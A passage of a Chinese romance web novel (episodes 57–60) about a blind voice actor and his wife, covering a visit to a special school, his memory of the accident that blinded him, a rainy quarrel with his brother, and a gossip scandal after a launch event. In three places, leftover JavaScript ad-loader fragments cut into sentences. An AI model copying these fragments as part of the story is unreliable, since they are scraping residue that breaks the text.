“要。”她仰着头,说出口的话干脆,带着点倔强,却像撕烂□□一样,难听。 秦叠又埋下头,抱紧池晚桑,像个小猫在池晚桑胸前蹭了蹭,反正这里已经被她哭湿了。 池晚桑说的这个学校并不大,一栋楼修成了一个“回”字,中间空出来一小块露天操场,有个小女孩坐在秋千上晃来晃去,神情没有什么起伏,仰头盯着天上。 身后有一堆人在踢球,踢得很安静,没有吵闹和推搡,礼貌得像是在进行什么盛大的仪式。 忽然一颗球没头没脑地朝小女孩飞过来,但因为背对着,她看不见。 球场上几个男生面面相觑了下,慌得不知所措,张大嘴巴又喊不出声音,只有模模糊糊的干嚎,像是野人,未经驯化过的样子。 秦叠心道不妙,撒开池晚桑的手,跑到小女生背后,将她护住。男孩子还小,力道对她来说不算疼,但角度刚好对准的是女孩的头,她不挡一下,结果不知道会是什么。 女孩有些惊讶地转过身来看着秦叠,没有说话,像是被这个怪姐姐给吓到了。 秦叠蹲下去,笑着问她:“没事吧,吓着没?” 那边的男孩也跟了过来,一个劲儿朝秦叠鞠躬,嘴里咿咿呀呀说不出话来,秦叠这才知道,他们是聋人。因为长久不说话,十聋九哑,已经不会说了。 他们毕竟也不是故意的,踢球都那么礼貌,秦叠又能怎么怪他们,对他们招了招手,示意没关系。她看着眼前的小女孩还是没反应,又问她:“你没事吧?” 其中一个男生本来要走了,看见秦叠张着嘴对女孩说话,碰了碰她。见秦叠看自己,又指了指自己的耳朵,指了指小女孩。 原来她也听不见。 那么就算当时有人喊出声来,她也躲不过去。 池晚桑听见这边吱吱哇哇一顿吵,皱了皱眉,问:“秦叠?” 秦叠看自己也没法和他们交流,哎了一声,跑过去扶着池晚桑,“刚才有个小女孩差点被球砸了,我问她半天,结果她听不见。” “你没事吧?”池晚桑问。 秦叠心里不知怎么,不是滋味,但还是假意轻快地叹了口气,“都是小孩踢的球,没什么力道,走吧。” 他们跟着指示路牌去校长办公室。一路上的孩子都很安静,吵吵闹闹的都是极个别的,但笑声中,秦叠总感觉夹杂着些沉重的东西。 不像一般的学校,下课铃一响,走廊上疯闹的孩子你推我我推你。 他们中有的人甚至听不见下课铃。 57. episode57 校长是个中年女人,看着年纪不算大,一头短发挽在耳后,微微有些发福,看着和蔼可亲。 她看见池晚桑他们时,立马从座位上站起来,脸上是抑制不住的自豪和笑容,“小池你来了,这位是?” 校长看向秦叠,她正要回应,池晚桑牵着她的手,举高了些,微笑着说:“我妻子。” “太好了,太好了,你总算是苦尽甘来了,老师为你感到开心。”校长让他们俩坐下,端出两杯茶,目光里满是兴奋地看着两人,让秦叠有些不自在。 忽然,校长朝着他们背后挥手,虽然是作势要打人的模样,但眼神里流露出的慈爱还是暴露了她。 秦叠这才转身看到窗口排了一排圆润的小脑袋,像是整齐划一的地瓜田,每个人双手扒着窗框,下巴抵在手上,眼睛滴溜溜打量她和池晚桑。 当然大部分的目光全在池晚桑身上,他很耀眼。 大眼睛们都有些胆怯,在危险的边缘疯狂试探,直到被校长发现,才一哄而散。 校长有些不好意思地说:“对不住啊,小孩子们太调皮,来了陌生人就忍不住凑上去看。” 这是对秦叠说的,秦叠忙摆摆手表示无所谓。 之后他们按照正常流程,是去盲人班分享。 秦叠在教室最后面找了个座,虽然早就毕业了,出于生理原因,坐在教室前排,还是有些恐惧和不适。 教室里也是叽叽喳喳的一片,但每个人声音不大,因为最多和旁边的人说话,没办法朝着更远地方的人喊话。整个教室像是公园的相亲角,低低的声音不绝于耳,但仔细分辨又听不出什么名堂。 如果不仔细看,他们和普通孩子其实没有分别。 秦叠大概扫视了一圈,这里多是十岁左右的孩子,教室里座位稀稀拉拉排放,竟也有二十来个人,她一时对这个数字有些震惊。 这还只是规模不大的一所特殊学校。 “橘子味。” 她愣神的时候,左前方一直安安静静的小男孩忽然开口,声音有些熟悉,秦叠这才反应过来。 上次在海边看见的小男孩。 秦叠将凳子往前挪了挪,笑着对他说:“还记得我吗小朋友,我们又见面了啊。” 男孩想了想,忽然扬眉笑道:“记得,你假扮海绵宝宝很像!派大星哥哥没来吗?” 秦叠摸了摸他的头,“他待会儿要来给大家讲故事,弹钢琴听,我们一起等他好不好?” 却没想到小孩子忽然失望地埋下头,无奈地撇了撇嘴,脸侧的肉堆得肉嘟嘟的,有少年强说愁的意味,但秦叠知道他一定遇上什么事了。 男孩说:“我待会儿要走了,妈妈说我脑子里长了个东西,得去找医生取出来。” 秦叠的笑容僵在脸上,放在他头上的手倏然收回,回过神后,她又轻轻揉了揉他的头,“是嘛,医生可是很厉害的,一会儿就结束了,下回我再带着派大星来找你讲故事好不好?” 男孩不一会儿便被一个年轻的女老师给接走了。秦叠心里盘算着找时间问问男孩妈妈,是什么情况,耳边忽然想起舒缓的音乐声。 声音很轻很淡,渐渐地加重,像是冰面上轻盈的舞者,踩着滑冰鞋慢慢入场,分明没有很大动静,全场却为之安静。 秦叠抬头间,看见池晚桑已经坐在教室左前方的钢琴旁,指尖翻飞于黑白琴键,安静地,肃穆地坐在那里。 这是她第二次听见池晚桑失明后的弹奏,仍旧是处变不惊的,娓娓道来模样。 教室里的明眼人就她和校长两人,所有人却都放下手里的东西,专注地将头偏向同一个来处。 他弹得其实很厉害,秦叠觉得甚至比小时候还要好,磨去少年心性,留下他脆弱柔软,但毫无保留的内心。段落衔接处自然流畅,像是在讲自己的故事。 池晚桑说他失明后看不见琴谱,只能凭借记忆力记下外婆念的谱子,一遍又一遍,谁都不胜其烦。直到他形成肌肉记忆。 钢琴音乐优美,耳朵是盲人心灵的另一扇窗户,能让这些孩子对世界有更多的遐想。 但他的故事也就止步于此,目的只是遮盖住一些黑暗,留给他们更多希望罢了。 秦叠知道池晚桑失明后是黎宜教授的钢琴课,黎宜也是很特别的存在,他年轻的时候做生意失败,因为意外事件失明后一直和妈妈住在一起,由此靠教人弹钢琴谋生。 在别人眼里,算不得一个成功者。 但他却拉起了一个人。 池晚桑也想拉起更多人。 但秦叠不知道池晚桑为什么会放弃钢琴,除了难度上的考量,似乎还发生了什么事。 “为什么后来不弹了?” 秦叠顺嘴就问了出来。 池晚桑挽住她的手,嗯了一声,说:“因为不太想在人前露面,不想被当成盲人,虽然是好意的迁就,也不想。” 他说得很坦然,头顶是蓝天,几只白鸽飞过,路边的树荫绿得盎然。 小的时候,秦叠每回看见他弹得筋疲力尽,却像总是找不到一个合适的点,而焦头烂额时。她总是在一旁,拆开一袋零食,盘着腿坐在沙发上,以一副“站着说话不腰疼”的模样劝导池晚桑。 “要学会适当放弃,自己做不好的事,不要勉强自己,这样会活得自在一点。” 她像个经历了年岁的大妈,张口就是人生感悟。 而如今他真的放弃了,秦叠却有些心疼。 池晚桑又说:“你之前不是问我怎么失明的吗?当时和你不熟,也没认真回答。” 秦叠就记得他说了四个字。 自作自受。 池晚桑接着说:“我爸当时新买了一辆摩托,非说要带着我溜达一圈。” 他像是想起了什么开心的事,笑了笑,但这笑不是苦涩的。仿佛那天其实真的很快乐。 “后来我们去了山路,他说要给我展示他新的车技。” 池晚桑仰着头闭着眼睛,停顿了两秒,“那种感觉很好,脱离了引力的控制,像是要飞起来了,耳边风声很大,他在前面说了什么,我根本听不清。” “旁边的景物都成了模糊的影子,我还记得那个画面,只有蓝天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是静止在头顶的。” 那片蔚蓝的天空,飘了两朵卷云。 这是他看见这个世界最后的样子。 亢奋的,平静的,淡然的。 后来池晚桑妈妈就带着健全的弟弟另嫁,把他留在外婆家,给外婆照顾。幸亏外婆对他没有失望,总是严格地教他学习,幸亏外婆活了很久,久到他足以独自生活。 幸亏。 总是有幸亏。 但秦叠总觉得哪里不对劲。 池晚桑笑了笑,阳光照在他瞳孔里很好看,像个洋娃娃,他说:“我也不是什么天赋型选手,想做配音就做了。当时我和苏木两人总是去蹭播音专业的课,私下没事就互相配戏。我也是努力了很久,才攒下聆镜的。” 秦叠不知道能说什么,捏紧了他的手,踮脚够在他耳边悄声说:“幸亏你努力了,辛苦了。” 然后飞速落在他侧颊一个吻,如果可以,她也想抱抱之前的池晚桑。 “还记得上次给你说过的观星节目吗?”池晚桑偏过头问,“苏木他们已经准备了好些材料,我们到时候可以和这学校里的小朋友们一起录制,你觉得怎么样?” 秦叠惊喜道:“那太好了,不过……我今天看见上回在海边遇见的小孩了,他好像生了个挺严重的病,我们,下回找机会去看看他吧。” “好。”池晚桑揽过她的肩膀,轻拍了拍,“会没事的。” 不过下回是哪回,谁也没说个准确的时间。 因为池晚桑脑子里还想着另外一件事。秦叠生日快到了,但他对现在的秦叠喜欢什么一窍不通。难不成送她一套太极训练视频吗。 带着这个疑问,在探望黎宜的时候不小心说了出来。这次偏偏没带上秦叠,也不知道是故意还是不小心。 “这……”黎叔表示有点无语,“你们平时不聊天吗?孩子,你是失明,不是傻了。” 秦叠喜欢看什么,吃什么,黎宜表示自己根本不用套话,在最开始的几次聊天里,两人已经畅所欲言了。 他有些感叹这位的不成器,拍了拍池晚桑。 “有待进步。” 黎宜根据记忆里的要点,挑出重点给池晚桑罗列了一番后,忽然问:“我记得你下周不是有个发布会吗?来得及吗?” “没问题啊。” 池晚桑被他拍得有些烦,也找茬一样回拍了黎宜两三下。 这几天天气怪异,秋天都快过了一半,却淅淅沥沥下起雨来。 天气本就阴冷,淋上几滴水,是更潮湿,贴着皮肤挥之不去的那种冷。 他出养老院的时候,风里夹杂着几滴雨飘了过来,天气预报上明明没说有雨啊。 池晚桑皱着眉,拢了拢衣领,也不知道秦叠今天带伞没有。他准备去黎宜说的那家糕点店给秦叠买些零嘴,据说她喜欢吃那家做的拔丝蛋糕。 此时,却忽然听到前方养老院门口,传来争吵的声音。 有些激烈,不知是什么原因,貌似已经到了脸红脖子粗的程度。 而其中一个人的声音再熟悉不过,正是池向榆。 58. episode58 “诶,我来敬老,你凭什么把我拦在外面。”池向榆声音很大,有些无礼,“大学生志愿活动,献爱心也不行吗?” 保安大哥无奈,却也语气强硬,“这都什么时候了,该下班的都下班了,你来敬哪门子老?” “我爷爷住这儿!”池向榆张口就来,草稿都不打一下。 那保安大哥气笑了,看来是没遇见过这么胡搅蛮缠的人,“你早说你爷爷是谁,拿出证明文件我不就让你进去了嘛。” 还至于防贼炸碉堡一样,和他在这里唱大戏嘛。 “我……他打电话说摔倒了,我得快点进去,晚了出事了,你负责啊!” 池向榆急得跳脚,一手往大厅的方向指,扭过头看见一人朝自己走来,没在意。 扭回来。 忽然又扭了回去。 他“爷爷”来了。 池晚桑已经走进了,拍了拍池向榆的手,“走吧,爷爷没事了。” 保安看见池晚桑这才明白过来,恍然大悟一样哎哟了一声,“还真是老黎家的啊,这孩子我还以为……” 以为啥,被他识趣地吞进了肚子里。 池晚桑和保安打了声招呼,和池晚桑走在旁边的湖边。 天气渐凉,现在四周已经灰蒙蒙的一片,湖边路灯没有多少,水汽氤氲,显得更加潮湿凝重。 不过这两人一个不需要在乎,一个根本不在乎。 “跟踪我?” 池晚桑脚步迈得平稳,似乎是在湖边散步的模样,说出口的话却丝毫不留余地。 池向榆没说话,没肯定也没否定,不远不近走在他旁边。 他个子长得慢,小的时候比池晚桑矮很多,常常缠着要哥哥背。记得每回和池晚桑说话,脖子都要望酸了,不满地让他蹲下来听。 现在走在他旁边,稍微望着点就能看见他哥,却没有氛围再说一句胡话。 “为什么不回家?”池晚桑又问。 池向榆没好气地回他:“跟踪你,回去干什么,远程监控?” 池晚桑没说话,过了半晌又说:“你知道我说的什么意思。” 按理来说,现在两人并不容易弄混,小的时候同吃同住,容易越长越像。但他们现在个子明显不同,认真看就会发现。他们妈妈不至于那么容易弄混。 除了,她已经很久没见过池向榆外。 池向榆没耐烦地从鼻子里哼出一口气,“上回就跟你说过了,他们家很圆满,不是我待的地方。” 池晚桑听说他们又新生了个孩子后,能设想池向榆的处境。他本来就不是忍让的性子,家里忽然多出一个妹妹,瞪着无辜的大眼睛,他气儿也没处发。 高中住校之后,就很少回去了。 迎面风掀起一些尘土,池晚桑皱了皱眉,“那你现在一整天不回去干什么?除了找我的麻烦。” “找你的麻烦是因为我恨你。” 池向榆的声音很小,又忽然停住脚步,落在池晚桑后面,显得越来越远。 听到这话,池晚桑也顿住脚步。 后面的人也没动,攥紧手里的伞,埋着头,咬着牙说:“你和爸出事那阵子,妈她一直神志不清,你还记得吧……” 池晚桑对这方面记忆并不是太深,那时候视力已经急剧退缩,他只能听见旁边照顾自己妈妈好像总是心不在焉,不是摔坏水瓶,就是削水果的时候削到手指。 因为爸爸刚去世,他以为她只是伤心过度。 池晚桑在这位妈妈面前并不讨喜,首要原因便是因为,他和他爸太像了。 不只是外貌上的相似,就连神态和说话的动作也是。他们一样地喜欢穿深色衣服,耐心一样的少,不耐烦了会很明显地表现在脸上。他们行事一样地洒脱,从来不看考虑后果。 这一点上,池向榆则要稳重,深思熟虑很多。 至少在以前是这样,在祸事还没改变这家人的时候。 在他们爸爸逐渐沉迷于危险运动,脾气也时好时坏后。 他妈妈连带着池晚桑也讨厌上了,每回等不着自己男人回家吃饭,看向桌边池晚桑的脸也没几分温度。 但他对这些早习惯了。 池向榆又说:“后来,她一声不吭把我带走,我能有什么办法。” 本以为就这样破破烂烂地过下去,池向榆却在某天听到妈妈叫自己“池晚桑”。 他这才明白,谁是她想带走的人。他甚至怀疑,因为脑子里不正常,他妈妈以为躺着的人是池向榆。 自我保护机制,将坏事推给了她平日里,看似最疼爱的儿子。 “如果失明的是我,不是你该有多好。”池向榆笑了笑,“我猜她是这么想的。” 池向榆虽然是公子脾气,总的来说还算温顺听话,但比较池晚桑学生时代的耀眼,还是暗淡了些。 他只是在那个时候刺眼了些,但谁不喜欢这样的儿子呢。 从那时开始,她就没把两人分清过。 池向榆觉得自己在这个家里经历的淡漠和疏离,本应该是池晚桑的牢笼。 而他却鸠占鹊巢这么多年。 “你说什么胡话。”雨下的有些大了,打在池晚桑眼皮上,他皱着眉眨了眨,语气里有些冒火。 这种话可不是乱说的,他不愿意开这种玩笑。 因为真的很痛苦。 “所以你就报复所有人?”池晚桑冷冷道。 “她对你的好,你是一点没看见是吧,要我帮你数数,你受伤他们有多着急,你要的玩具,哪次没有满足你吗?” 池晚桑叹了口气,雨下得更大了些,他往里走进树荫下,雨水变少,却变得更大颗,“回去吧,雨下大了,别纠结了。” 这么多年了。 看似是整个事件的身外之人,却是唯一一个耿耿于怀的人。 池向榆瞪了他一眼,走上前,把伞塞在他哥哥手里就要走,却听见背后的人说:“我不要。” 池晚桑说一不二的性子,他这个弟弟还是有所了解,池向榆“蹬蹬蹬”拿过伞来,撑在两人头顶,又问:“你怎么走?” “我在这儿等雨停了走。” 他摸索着旁边斜坡上的一块大石头,坐下去,不容置疑地抬头“望”了眼池向榆。 表示他怎么还不走。 池向榆没那个心思和他纠缠,心里骂道,以为这树下是屋檐下吗?傻逼,等着打雷了,就知道害…… 打雷…… 他回头看了眼树下的傻子,掏出手机,找了个人拨过去。 池晚桑坐在树荫下,豆大的雨水在叶片尖端汇集,猛地砸在他鼻梁上,有些冷。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>衣服已经湿了一半了,这样回去,秦叠肯定会担心。 正好他也不想走。 池向榆今天说的话,他第一次知道。 心里说不上来什么滋味,像是很久之前,有人给了你一巴掌,现在细细回想那巴掌好像是为你着想。 但脸上那火辣辣的劲儿却还记忆犹新,又有人告诉你,你得原谅这巴掌。 他做不来。 雨势又大了些,敲打在湖面上叮当作响,本来安静的湖边,忽然间聒噪起来。生气却消失了,只剩下敲击声陷入湖底。 池晚桑笑了,难得这样疯一次,像个傻子,还好这儿附近没人。 “笑什么呢?疯子。” 却忽然听见旁边来人的声音,语气里竟也有几分笑意。 秦叠这是被他给气笑了。 她以前也有过一次。 哥哥刚不见那会儿,她不知道事情轻重,却也隐隐感觉不对劲,心里闷得难受,无处发泄。 于是在一个雨天,她跑到操场上去淋雨,浑身湿透,毫无顾忌的那刻,她也笑了。 虽然事情并没有解决,但以这种方式,她好像突破了以往的小心翼翼和举步维艰。 起码在这一刻,她是自由的。 秦叠知道池向榆那混小子又找上池晚桑,但不知道具体发生了什么,池晚桑不说,她也不问,撑着伞走到他旁边,说: “秋天的雨凉。还有……” “给我挪点位置。” “秦叠,我现在有些混乱,不知道该怎么说。”池晚桑睫羽低垂,棕褐色瞳孔里蒙了厚厚的一层雾。秦叠俯身过去,用腕间的袖口在他脸上轻轻擦拭。 她轻声道:“我明白,但你不要闷太久了,记得给我留扇门,进来看看你。” 池晚桑苦笑了笑,“那你会看见我狰狞,不堪的样子了,也许门里是个内心阴暗的怪兽怎么办?” 秦叠握住他的手,冰凉的,她说:“我选择接受你。怪兽还是天使,都全盘接受。” 对她来说,池晚桑无需四季常青,开心时盛开就好,秋天也会枯萎,偶尔说几句丧气话也没问题,等待来年春风一吹,想明白了还愿意继续发芽,就已经很好。 日子确实没有那么理想,但他们好歹还有彼此呢。 池晚桑笑着嗯了一声,偏过头靠在她肩上,他因为个子太高,有些憋屈地弯着腰,将就秦叠的身高,在她肩膀上蹭了蹭。 秦叠挺着脖子,想硬生生将自己拔高几厘米,却没有一点用处。 埋头间,她看到池晚桑眼下两片乌青,不是被打的那种,不过谅池向榆良心还没坏到敢打自己哥哥的程度。 更像是没睡好。 这几天,发生的事也不算少。他本来就有些难以入睡,想必不是很好过。 秦叠想起他常听的那个MP3,想着下回抽空帮他录一些白噪音,听说利于入睡。 这里很安静,仿佛世界上只剩下他们两人,躲在树林阴翳处,同撑着一把伞,听雨落的声音。 一瞬间像是有一辈子那么长。 如果可以,她也不想离开,但是…… 她埋下头,轻轻喊了声:“池晚桑。” “嗯。” 秦叠轻轻在他颊侧落下一个吻,柔声道:“回去吧,有礼物给你。” 59. episode59 门还没打开,就听见里面激动的声音。 岫白哈着粗气,汪了几声,还伸出爪子抓门,听着怪瘆人。这就是这两兄弟的心灵感应吗?秦叠想,自己之前辛苦跑过去训练这家伙,还没得到过这种待遇。 未见其人,先闻其声。 沉不住气的狗,秦叠啧了一声,这下子惊喜全被破坏了。 “岫白?”秦叠觉得池晚桑耳朵几乎快竖起来了,他停在门外,任由那只傻狗在里面狂跳狂叫。 下一秒,池晚桑嘴角笑出两弯好看的括弧,“是岫白吗?” 傻狗听见自己名字,又激动地叫了两声。 秦叠恨不得一手掌“啪”地一声,拍在自己脑门,有些无奈道:“是它,给你的惊喜。” 还好这傻狗虽说回归了野性,看见池晚桑心里还是知道分寸,没有立即扑上去。它这体型,猝不及防,正常人都还是遭不住这一下。 池晚桑嘴巴都快咧到耳朵后面,任由着岫白两腿站立,两只前腿搭在他身上,一个劲儿地摇尾巴,舔他。 舔狗。 秦叠笑了一声把门给带上,这才把这些天的行踪给报备,顺道还控诉了一下岫白堪忧的智商,吐槽它不知道是凭什么选上导盲犬的。 黑狗此时在池晚桑身上滚得不亦乐乎,根本不介意秦叠在说什么。 池晚桑一只手扶住它站稳,另一只手在岫白脑袋上揉了又揉,似乎在确认这不是梦。远远看去,一人一狗像是在跳交谊舞。 秦叠没参加过舞会,不过乐意给他们留下了一张珍贵的照片,快门定格的那一刻,她知道之前做的努力,都没有白费。 她想就这样一直看着他,看着他们,一起慢慢变老。 “好看吗?”池晚桑扭过头来问,“发布会马上开始了,这身衣服还可以吧?” 此时,秦叠也在一旁手忙脚乱地收拾自己,昨天晚上庆祝岫白回归,两个人一条狗愣是在客厅玩到半夜。 还是池晚桑把她抱回卧室的。 两个人体温相近,抱着睡很暖和,似乎很久没一觉到天明了。 于是一睁眼就,快迟到了。 “可以。”这人就是天生的衣架子,还在保持锻炼,活该他好看。但秦叠欲哭无泪,单脚跳着穿鞋,拿钥匙就要出门,上次的礼服还在干洗店没拿回来。 “我可能得晚一点到,你一个人能行吗?” “Aye,captain!”池晚桑笑着向她敬个礼,秦叠也忍俊不禁,出门去。 这回可是聆镜真正的出头之日。上回采访池晚桑卖惨的媒体没想到,聆镜的粉丝数量之庞大,很快就将不利化为有利,最终以他“故意戳人伤疤,不正当手段博人眼球,污人名誉”等罪名,被网友判处无期监禁。 这次,聆镜坐在第一排。 秦叠找过去的时候,略微有些尴尬,只能硬着头皮,载着所有人的眼光,和“这谁家的,牌子真大”的猜想,往里面走。 她穿的还是上回藻绿色那条礼裙,白皙修长的手和腿露出来,又给她增加了不少需要承载的目光。 秦叠想死的心都有了。 活动还没开始,前排已经坐了不少人,她这回知道这些人这么积极到场的原因是什么了。 不过还没到池晚桑那儿,秦叠就又看见有个女人穿着大红色修身曳地长裙,俯身悠闲地靠在池晚桑旁边的圆桌上,身材前凸后翘,成横向S型走势。 不是吧,又来? 她真的想回去了。 这种多于十个人的社交场合,以后请屏蔽掉她。 不过这回她还真非来不可,这个资方一共投了两部作品,池晚桑一部,她占一部。 她是靠自己走过来的。 姐也是有代表作的人了。 想到这里,秦叠又挺直了些腰杆。 她走进了才看见那人有些眼熟,这人不是王倩吗? 秦叠对她的印象只有包裹严实,躲避鬼一样躲狗仔,到聆镜去配音的样子。平日里也没关注她的作品,这还是头一回看见露出这么多肉的王倩。 果然怪好看的。 两人不知道在说什么,都只是淡淡的笑,但因为王倩凑在池晚桑耳边,像是耳语,平添了些暧昧和亲昵。 秦叠皱了皱眉。 这时王倩余光看见她,对秦叠招了招手,起身便要把座位让给她。她举止简单大方,全然有了大牌明星的架势,看来之前的女孩完全脱胎换骨了。 但秦叠哪儿敢坐这个位置,因为她立马又感受到了后排投来好奇的目光。 这人是哪门哪派的?王倩给让座? 她怕是只能说,鄙人无门无派,海绵宝宝头号粉丝而已。 秦叠讪讪地朝她点了点头,有些拘谨地坐下,旁边的池晚桑立刻开口:“她是王倩,之前还没热度的时候,来聆镜配过音,记得吗?” “记得。”秦叠用气声小声道,“她很努力,为她高兴。” 池晚桑挑了挑眉转过头来“看”她,她又说:“不过,她们团其他人就不认识了,美貌都像从一个模子里刻出来的,实在考眼力。” 正说着这话,前面走过来好几个王倩团里的女生,笑着跟池晚桑打招呼,而池晚桑…… 竟然精准地叫出了她们的名字! 这排场,竟有些像可汗大点兵。 在秦叠看来,这是奇迹啊。 等着人都排着队,像个毛毛虫一样过去了,秦叠忍不住问: “你,”秦叠保持着气声发音,眼里全是不可置信,“是怎么认出来的?” 池晚桑埋着头理了理袖口,也学着她小声说:“每个人身上香水味不一样,又喷的多,很容易分出来。” “还有,”他顿了顿,看向秦叠,“声音都有区别,作为聆镜的人,你不会吧?” 不会什么?有胆子说出来! 秦叠撇了撇嘴没理他,三天不打上房揭瓦。 池晚桑嘴角勾起,笑得灿烂,又凑过来小声问: “怎么这么说话?” 秦叠这回没俯身,坐直了僵着脖子,继续用细如蚊蚋的声音说:“后面的目光太炙热,我有点不好意思。” “没事。”池晚桑伸过手来,刚好拉住她放在小圆桌上的手,“总要适应的。” 你这么优秀。 他眼里带着光,秦叠却硬着脖子,没看过来。 秦叠被他这么一拉,忽然身上像长了刺一样弹开,更不自在了,用气声回应他:“别动手动脚的,影响不好。” 谁知这家伙今天像是喝了假酒,忽然倾身过来,靠得离她更近了,低沉的嗓子该死的蛊惑人心,他说:“我拉我老婆,怎么影响不好了。” 气息喷洒在秦叠耳畔,一路红到脖子。 要完了,她想。发布会都没怎么听进去,正好笑容已经僵住了,能够应付摄像。 果然,第二天池晚桑的花边新闻就满天飞,这种长相不能白瞎了正经新闻。 热传的不过是秦叠和王倩和他纠缠不清,不过这回对女生的舆论声讨反而没有那么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大。也许是池晚桑长得太精明了,斜着嘴笑时,有种斯文败类的错觉。 所有人都说他脚踏两只船! 还说他,不检点…… “我靠啊,兄弟。”苏木一脸被八卦喂饱了的贱样,“婚.内.出.轨?还当着你老婆的面?” “勇士。”他朝着池晚桑竖了个大拇指,“真正的勇士。” “苏木你就是……”,“欠”字还没说出口,沈桉羽只发出了个“七”,苏木就被这位反常的老板给制服了。 池晚桑木着脸一手掰过苏木大剌剌竖在他面前,“找死”的大拇指,连带着苏木人也跟着他歪到一旁。 “疼疼疼疼……”苏木一脸幽怨地揉着自己拇指,好了伤疤忘了疼,好事的表情又浮上那张小白脸,他挑了挑眉,“所以,你打算怎么办?” 不能怪他反应过大,工作室其余的人也是蓄势待发的状态,等着苏木阵亡了,立马前赴后继补上的打算都有了。 只是没想到这家伙这么能抗,抵死不从,负隅顽抗。 大家毕竟之前都是在网上远距离吃瓜,这回瓜田落在自己门口,虽然知道不保熟,但是不掰开,吃干抹净吧,又有点可惜。 “凉拌。” 池晚桑冷冷道,然后非常冷酷地回到刚通完风,很冰冷的办公室,将诸位贼眉鼠眼的表情冷漠地关在门外。 但门内。 秦叠正在用他的电脑回复几个邮件,见他进来,抬头问:“怎么了?外面聊什么那么热闹。” 秋天的阳光没有温度,但秦叠的存在本身就是暖的。 池晚桑难得脸上挂了委屈的表情,慢吞吞绕到桌后,站在秦叠身边,不动声色拉了拉她的衣袖,“你得对我负责。” 秦叠正回复完配音版权问题,神经敏感地把自己袖子撤回去,警惕地仰头看他,“负什么责?我们严格依照知识产权,使用配音作品的啊?谁敢来找茬?律师都不用请,包赢!” 池晚桑长腿半靠坐在办公桌上,挑了挑眉,“现在网上都说你老公脚踏两只船,外面一群豺狼虎豹等着我爆出点惊天大瓜,你在发布会上摸我的照片可是铁证,你不负责?” 嘿,倒打一耙。 猪八戒的耙都不会这么没良心地用吧…… 但难得看见会撒娇的池晚桑,虽然罪魁祸首都是他一人所为,秦叠摇摇头笑了笑,“我怎么对你负责?” 池晚桑一手支着下巴,咬着下唇假意思索了下,“他们在哪儿造谣,你就在哪儿辟谣呗。” 于是,过了不久,办公室外面一群人就被狠狠地强塞了一口狗粮。 秦叠微博:【合法夫妻,绝对信任,今晚的睡前故事可不能少。@池晚桑】 池晚桑微博:【Aye,captain!】还配上了比奇堡的照片。 与此同时,王倩也发了条澄清:【为三又举大旗,我是铁粉,勿喷。】 众人僵住的面孔齐刷刷看向池晚桑紧闭的办公室门。 这是受委屈了,找家长撑腰呢?! 嘶,这么一看,那个木门,好像也不是那么无情。 房间内,秦叠一字一句给池晚桑念了微博,问:“可以了吧?小朋友。” 池晚桑背对着窗户,脸上黑乎乎的,没有光影,他不可察觉地挑了挑眉,喉结难以抑制地滚了滚:“夫,妻?” 入秋了,空气干燥,嗓子也像是有些干涩,说出来的话沙哑低沉的。 说实话,一直是合约婚姻状态,他现在对这个词,还没有实感。 60. episode60 “对啊,不是吗?”秦叠这方则比较麻木,又仔细扫了眼屏幕,啧了一声,舔了舔有些干的下唇。 这些网友也真是有想象力,池晚桑私生子都快扒出来了。 她得切个小号帮忙自家人澄清一下。 “是。”池晚桑沉声笑了笑,撑着桌子忽然俯下身来,停在离秦叠只有几厘米处。 秦叠愣了下,眨了眨眼睛,垂下眼就看见他的唇,水润的。正想问他要干嘛,不要妨碍自己大杀四方。 池晚桑半阖着眼,吻了上去。 不像是之前蜻蜓点水,他轻轻含住那瓣薄唇后,温柔地撬开齿关,一切就发生得激烈而又平静。 猝不及防被吻地差点没气,秦叠皱着眉呜咽了声。 池晚桑这才捧着她的脸,额头相抵,垂眸又亲了下,低声笑了笑,“辛苦了,老婆。” 而秦叠这边被亲得神智快没了,用手背贴了贴有些滚烫的脸颊,竟还礼貌性回复他了句:“没事。” 她又重新去看那些评论,电脑上的文字却像活动的蚂蚁,一时间一个也不认识,秦叠晃晃头醒神。 怎么还跟个小姑娘似的,不就被亲一下嘛。 网友A丢出一张模糊到亲妈都不认识的照片,红圈将照片上男人和怀里的小孩画出来:【实锤了家人们,池晚桑私生子,这眉毛,这鼻子,不是一家人,不进一家门。】 秦叠瞪大眼睛观察了番男人手上那坨肉色。 …… 秦路人:【别人老婆都站出来了,别破坏人感情了。】 网友B这时又跳出来:【有老婆,才是私生子,不然就是自己孩子了啊。】 秦路人敲得键盘快冒烟:【别搞,这孩子这么丑,一看就不是池晚桑的。还有这男的,哪像他了?他脖子后面有颗痣的。】 她选择用魔法打败魔法,你能看出鼻子眉毛,那她也能看出眼睛嘴巴。 一时间竟然真的消停了会儿。 这就成功了? 但过了没几秒,评论像开闸泄洪一样,一发不可收拾。 网友A:【……你怎么知道池晚桑脖子后面有颗痣?!】 网友C:【苦主出现了!竟还在为这个禽兽澄清,池晚桑究竟有哪点好!】 网友D:【我靠,第三个女人出现了……】 秦叠捏了捏眉心:我选择退网。 此时,门外忽然阴风阵阵,像是有个不详的东西在外面。 “晚桑!”苏木怪声怪气地在门外喊,身体不知道婀娜到了何种程度,“人家也要听睡前故事嘛——” 余音弯弯绕绕,像是被一条蛇爬上身了一样,秦叠起了一身的鸡皮疙瘩。 “诶?”他像是又看见什么新鲜事,不由地停止发癫,恢复男生的声线,“这网上怎么还有当事人出来说话,池晚桑!你孩子的妈找到了!” 池晚桑没理他,专心在听手机里的什么,然后对一旁尬得无地自容地秦叠说:“走吧,今天可以去看小橙子?” “小成子?”秦叠问,“哪个娘娘的手下?” 她也沦陷了。 池晚桑:…… 等他们到的时候,秦叠才知道,自从上回给池晚桑说了小男孩的事,他竟然一直有在资助他们。 他们见到的小橙子,没有之前在海边的活力,躺在病床上怏怏的,但脸上一直带着笑。 他很喜欢橙子的清新气味,所以爸妈叫他小橙子。 池晚桑和秦叠在房间里又给他表演了几段海绵宝宝,说等他好了,一起去看星星。 但小橙子漆黑的眸子里,没有一丝波澜。 秦叠本来还想问问池晚桑钱够不够,但看见小橙子的状态之后,心里也怪难受的,把这件事给搁了过去。 “那,回去吗?”两人在街上,漫无目的散了会儿步,池晚桑一直没吭声,忽然问。 